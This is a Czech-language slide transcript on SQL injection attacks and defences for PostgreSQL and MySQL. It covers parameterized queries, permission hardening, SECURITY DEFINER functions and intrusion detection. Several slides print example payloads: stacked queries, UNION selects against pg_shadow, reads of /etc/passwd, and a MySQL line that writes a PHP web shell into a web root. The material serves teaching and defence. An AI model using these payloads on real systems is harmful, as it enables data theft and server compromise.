SQL injection princip a ochrana



Podobné dokumenty
PostgreSQL. Podpora dědičnosti Rozšiřitelnost vlastní datové typy. Univerzální nasazení ve vědecké sféře

zobrazení délky ve výpisu v psql

SQL injection jak ji možná neznáte Roman Kümmel

PL/pgSQL. Pavel

INDEXY JSOU GRUNT. Pavel Stěhule

Databázové systémy úvod

Semestrální práce z DAS2 a WWW

PG 9.5 novinky ve vývoji aplikací

Databáze II. 1. přednáška. Helena Palovská

Použití databází na Webu

Databázové systémy II. KIV/DB2 LS 2007/2008. Zadání semestrální práce

Verzování a publikace dat na webu za pomoci PostgreSQL

Čteme EXPLAIN. CSPUG, Praha. Tomáš Vondra Czech and Slovak PostgreSQL Users Group

Inovace a zkvalitnění výuky prostřednictvím ICT Databázové systémy MySQL základní pojmy, motivace Ing. Kotásek Jaroslav

Stored Procedures & Database Triggers, Tiskové sestavy v Oracle Reports

Západočeská univerzita v Plzni Katedra informatiky a výpočetní techniky. 9. června krovacek@students.zcu.cz

Rozšiřování a upravování stávající funkcionality PLToolbox, Orafce

Návrh a tvorba WWW stránek 1/14. PHP a databáze

Optimalizace dotazů a databázové transakce v Oracle

Sada 1 - PHP. 14. Úvod do jazyka SQL

Tabulka fotbalové ligy

Databázové systémy. - SQL * definice dat * aktualizace * pohledy. Tomáš Skopal

SQL a XML jako alternativa ke klasickým unixovým nástrojům

InnoDB transakce, cizí klíče, neumí fulltext (a nebo už ano?) CSV v textovém souboru ve formátu hodnot oddělených čárkou

MySQL sežere vaše data

Implementace funkce XMLTABLE v PostgreSQL. Pavel

Databázové systémy a SQL

PL/SQL. Jazyk SQL je jazykem deklarativním, který neobsahuje procedurální příkazy jako jsou cykly, podmínky, procedury, funkce, atd.

Vzorové příklady SQL. Tabulka: Kniha CREATE TABLE kniha (id INTEGER, název VARCHAR(50), PRIMARY KEY (id))

Informační systémy 2008/2009. Radim Farana. Obsah. Skripty a dávky. Nastavení aktuální databáze. USE DatabaseName

Kód v databázi. RNDr. Ondřej Zýka

SQL v14. 4D Developer konference. 4D Developer conference 2015 Prague, CZ Celebrating 30 years

Návrh a prototypová implementace databáze pro

Jazyk SQL databáze SQLite. připravil ing. petr polách

Inovace a zkvalitnění výuky prostřednictvím ICT. Základní seznámení s MySQL Ing. Kotásek Jaroslav

Audit DB. Referát. Vypracoval: Zdeněk Doležal MFF UK Praha 11/5/06

Virtual private database. Antonín Steinhauser

Administrace Oracle. Práva a role, audit

4IT218 Databáze. 4IT218 Databáze

Virtual Private Database (VPD) Jaroslav Kotrč

4. lekce Přístup k databázi z vyššího programovacího jazyka

Uložené procedury Úvod ulehčit správu zabezpečení rychleji

Hitparáda webhackingu nestárnoucí hity. Roman Kümmel

7. Integrita a bezpečnost dat v DBS

7. Integrita a bezpečnost dat v DBS

XMW4 / IW4 Pokročilé SELECT dotazy. Štefan Pataky

Databázové systémy Cvičení 5.2

Obchodní akademie a Jazyková škola s právem státní jazykové zkoušky Jihlava

Bezpečnost a bezpečné programování

5. POČÍTAČOVÉ CVIČENÍ

Nasazení Object Relation Mapping nástrojů nad legacy datovým modelem

Novinky v PostgreSQL 9.4. Tomáš Vondra, 2ndQuadrant

DUM 15 téma: Příkazy pro řízení přístupu

Vkládání, aktualizace, mazání

SQL - trigger, Databázové modelování

PostgreSQL Novinky (a JSONB) Tomáš Vondra, GoodData (tomas.vondra@gooddata.com) (tomas@pgaddict.

Virtuální privátní databáze

Marian Kamenický. Syntea software group a.s. marian.kamenicky. MFFUK Praha 2012/13

RNDr. Michal Kopecký, Ph.D. Department of Software Engineering, Faculty of Mathematics and Physics, Charles University in Prague

SQL. strukturovaný dotazovací jazyk. Structured Query Language (SQL)

PHP a Large Objecty v PostgreSQL

TimescaleDB. Pavel Stěhule 2018

Full-textové vyhledávání. Július Štroffek Revenue Product Engineer Sun Microsystems

Databáze SQL SELECT. David Hoksza

Michal Krátký, Miroslav Beneš

Monitoring výkonu PostgreSQL

Zranitelnosti webových aplikací. Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz

IDS optimalizátor. Ing. Jan Musil, IBM ČR Community of Practice for

POSTUP PRO VYTVOŘENÍ STRUKTUR PRO UKLÁDÁNÍ RDF DAT V ORACLE

Bottle -- příklad. Databáze. Testovací data. id Jedinečný identifikátor řádku: Bude typu INT s AUTO_INCREMENT a nastavíme ho jako primární klíč

První pomoc pro DBA. administrátory CIDUG. Milan Rafaj IBM Česká republika

Univerzita Pardubice. Fakulta elektrotechniky a informatiky

Zranitelnost databáze a ochrana vašich citlivých dat. Michal Lukanič, Database Specialist

Ing. Přemysl Brada, MSc., Ph.D. Ing. Martin Dostal. Katedra informatiky a výpočetní techniky, FAV, ZČU v Plzni

Třídy a objekty. Třídy a objekty. Vytvoření instance třídy. Přístup k atributům a metodám objektu. $z = new Zlomek(3, 5);

Maturitní témata z předmětu PROGRAMOVÉ VYBAVENÍ pro šk. rok 2012/2013

Text úlohy. Systémový katalog (DICTIONARY):

Útoky na DNS. CZ.NIC Labs. Emanuel Petr IT10, Praha

Kurz Databáze. Obsah. Dotazy. Zpracování dat. Doc. Ing. Radim Farana, CSc.

Databázové systémy. Agregace, sumarizace, vnořené dotazy. Vilém Vychodil

Analýza zranitelností databází. Michal Lukanič, Database Specialist

RNDr. Michal Kopecký, Ph.D. Department of Software Engineering, Faculty of Mathematics and Physics, Charles University in Prague

Databáze. Velmi stručný a zjednodušený úvod do problematiky databází pro programátory v Pythonu. Bedřich Košata

SQL. Pohledy, ochrana dat,... Pavel Tyl

1 Webový server, instalace PHP a MySQL 13

George J. Klir. State University of New York (SUNY) Binghamton, New York 13902, USA

17. července :51 z moravec@yahoo.com

Testování webových aplikací Seznam.cz

PRŮBĚHOVÝ TEST Z PŘEDNÁŠEK

Zabezpečení proti SQL injection

2. blok část B Základní syntaxe příkazů SELECT, INSERT, UPDATE, DELETE

Databázové systémy I

Databázové systémy, MS Access. Autor: Ing. Jan Nožička SOŠ a SOU Česká Lípa VY_32_INOVACE_1130_Databázové systémy, MS Access_PWP

CSPUG 2011-květen. GridSQL a pg-pool II. Vratislav Beneš benes@optisolutions.cz

Jazyk C# - přístup k datům

Informační systémy 2008/2009. Radim Farana. Obsah. Dotazy přes více tabulek

Architektura softwarových systémů

Úvod do databázových systémů

NÁSTROJ PRO DETEKCI ZRANITELNOSTI SQL INJECTION

Práva a role. Martin Polák. NDBI013 Administrace Oracle

Transkript:

SQL injection princip a ochrana Základ injektáže Základní ochrana Proces zpracování SQL dotazu Prepared statements Minimalizace dopadu průniku nastavením práv Detekce průniku Kladení pastí 1

Cíle SQL injektáže Získání dat (hesla, korespondence) Úpravy uložených dat (infekční kód, podvržená data) Detekce prostředí Narušení provozu Napadení operačního systému Kompromitace provozovatele (získání konkurenční výhody) 2

Postup injektáže Nalezení neošetřeného vstupu S přístupem k chybovým hlášením S přístupem ke zdrojovému kódu Injektáž naslepo Blind SQL injection Generování efektivní hodnoty parametru Parametr je typu číslo Parametr je typu text Parametr je typu SQL identifikátor 3

Efektivní hodnoty table=foo %3B SELECT * FROM pg_roles table=foo %3B SELECT pg_sleep (10)%3B SELECT version () table=information_schema.tables >>>SELECT * FROM $table<<< 4

Dělení metod SQL injection Univerzální metody Závislé na použitém vývojovém prostředí Závislé na použitém RDBMS (verzi) Závislé na použitém frameworku (verzi) Kombinace výše uvedeného 5

Dělení SQL injection Přímý útok na aplikaci Útok na administrativní nástroje (phppgadmin) Útok prostřednictvím vstupů aplikace Útok prostřednictvím uložených dat Email: ' (SELECT version()) 6

Dělení SQL injection Inband - získaná data jsou zobrazena v odpovědi Out-of-band - získaná data jsou poslána jiným kanálem utl_http.request xp_sendmail Inferential - informace se odvodí z chování aplikace 7

Základní techniky UNION SQL injection UNION SELECT 'pavel', 'heslo' UNION SELECT 'pavel', md5('pavel' heslo) 1=0 UNION SELECT ARRAY(.. ) UNION SELECT * FROM information_schema.tables UNION SELECT... FROM pg_shadow 8

Základní techniky Získání externích dat V případě PostgreSQL nesmí dojít ke kompromitaci účtu s právem superusera! Potom lze získat externí data např: /etc/passwd 9

Základní techniky Získání externích dat postgres=# create table p(a varchar, b varchar, c varchar, d varchar, e varchar, f varchar, g varchar); CREATE TABLE postgres=# copy p from '/etc/passwd' delimiter ':'; COPY 42 postgres=# select * from p limit 3; a b c d e f g + + + + + + root x 0 0 root /root /bin/bash bin x 1 1 bin /bin /sbin/nologin daemon x 2 2 daemon /sbin /sbin/nologin (3 rows) 10

Základní techniky Získání externích dat (MySQL) SELECT LOAD_FILE(0x2f6574632f706173737764); SELECT LOAD_FILE('/etc/passwd'); SELECT '<?php system($_get["command"]);?>' INTO OUTFILE '/var/www/victim.com/shell.php'/* 11

Základní techniky blind SQL injection pg_sleep() WAITFOR DELAY BENCHMARK() 12

Metody ochrany Použití filtrů Použití escape funkcí (explicitní, implicitní) Použití parametrizovaných dotazů 13

Escape funkce Explicitní mysql_real_escape_string pg_escape_string quote_literal quote_ident Implicitní dibi::query('select... WHERE id = %s', $id) 14

Zpracování SQL dotazu SQL SQL příkaz příkaz Generování Generování plánu plánu Statistiky Statistiky Data Data Parser Parser Prováděcí Prováděcí plán plán Executor Executor Výsledek Výsledek Parametry Parametry 15

Prepared statement postgres=# PREPARE x AS SELECT * FROM tables WHERE "table" = $1; PREPARE postgres=# EXECUTE x('tables'); table tables tables (2 rows) postgres=# explain EXECUTE x('tables'); QUERY PLAN Seq Scan on tables (cost=0.00..2.79 rows=1 width=15) Filter: (("table")::text = $1) (2 rows) 16

Parametrizované dotazy $sth = $dbh->prepare('select.. WHERE cal < :cal'); $sth->bindparam(':cal', $cal, PDO_PARAM_INT); $sth->execute() pg_query_params('select.. WHERE cal < $1', array($cal)); 17

Nastavení práv Nepoužívat vlastníka pro přístup z aplikace K důležitým sys. tabulkám odepřít přístup REVOKE ALL ON pg_proc FROM public REVOKE ALL ON pg_attribute FROM public REVOKE ALL ON pg_role FROM public REVOKE ALL ON pg_class FROM public K důležitým aplikačním datům odepřít přístup (použít security definer funkce) 18

Použití SECURITY DEFINER funkcí CREATE OR REPLACE FUNCTION new_user(usrname varchar, passwd varchar) RETURNS void AS $$ INSERT INTO users(usrname, passwd) VALUES($1, md5($1 $2)) $$ LANGUAGE sql SECURITY DEFINER; CREATE OR REPLACE FUNCTION check_user(usrname varchar, passwd varchar) RETURNS bool AS $$ SELECT EXISTS(SELECT usrname FROM users WHERE usrname = $1 AND md5($1 $2) = passwd) $$ LANGUAGE sql SECURITY DEFINER; 19

Použití SECURITY DEFINER funkcí postgres=# select new_user('pavel','heslo'); new_user (1 row) postgres=# select check_user('pavel','heslo'); check_user t (1 row) GRANT EXECUTE ON FUNCTION check_user(varchar, varchar) TO public; 20

Použití SECURITY DEFINER funkcí [pavel@nemesis ~]$ psql Uappuser postgres psql (8.5devel) Type "help" for help. postgres=> SELECT * FROM users ; ERROR: permission denied for relation users postgres=> select check_user('pavel','heslo'); check_user t (1 row) postgres=> select check_user('pavla','heslo'); check_user f (1 row) postgres=> select check_user('pavel','hesloa'); check_user f (1 row) 21

Možné vylepšení (ověření síly hesla) [pavel@nemesis src]$ echo 'monika' cracklib check monika: it is based on a dictionary word [pavel@nemesis src]$ echo 'zlutykun' cracklib check zlutykun: OK [pavel@nemesis src]$ echo 'crazyhorse' cracklib check crazyhorse: it is based on a dictionary word 22

Detekce průniku Výskyt chyb v logu je znamením nezabezpečeného systému Běžný provoz nesmí generovat chybné SQL příkazy Vlastní získání dat není nijak zaznamenáno Zaznamenáme pouze počáteční neúspěšné pokusy Jejich existence ovšem znamená, že systém není bezpečný. 23

Kladení pastí fly trap Úspěch záleží na kvalitě návnady Název, struktura, obsah Jediný nástroj, který máme k dispozici je statistika pg_stat_user_tables K těmto statistikám by běžný uživatel neměl mít přístup v produkčním prostředí 24

Kladení pastí REVOKE SELECT on pg_stat_user_tables from public; REVOKE SELECT on pg_stat_all_tables from public; postgres=# SELECT seq_scan, idx_scan FROM pg_stat_user_tables WHERE relid = 'public.foo'::regclass; seq_scan idx_scan + 1 (1 row) 25

Historie 1998 NT Web Technology Vulnerabilities 2000 SQL Injection FAQ 2002 Manipulating SQL Server Using SQL Injection Chris Anley Advanced SQL injection 26

Děkuji vám za pozornost Pavel Stěhule pavel.stehule@nic.cz Kde získat informace o dalších aktivitách sdružení CZ.NIC? Web www.nic.cz Blog blog.nic.cz Email kontakt@nic.cz Konference nic-news@nic.cz 27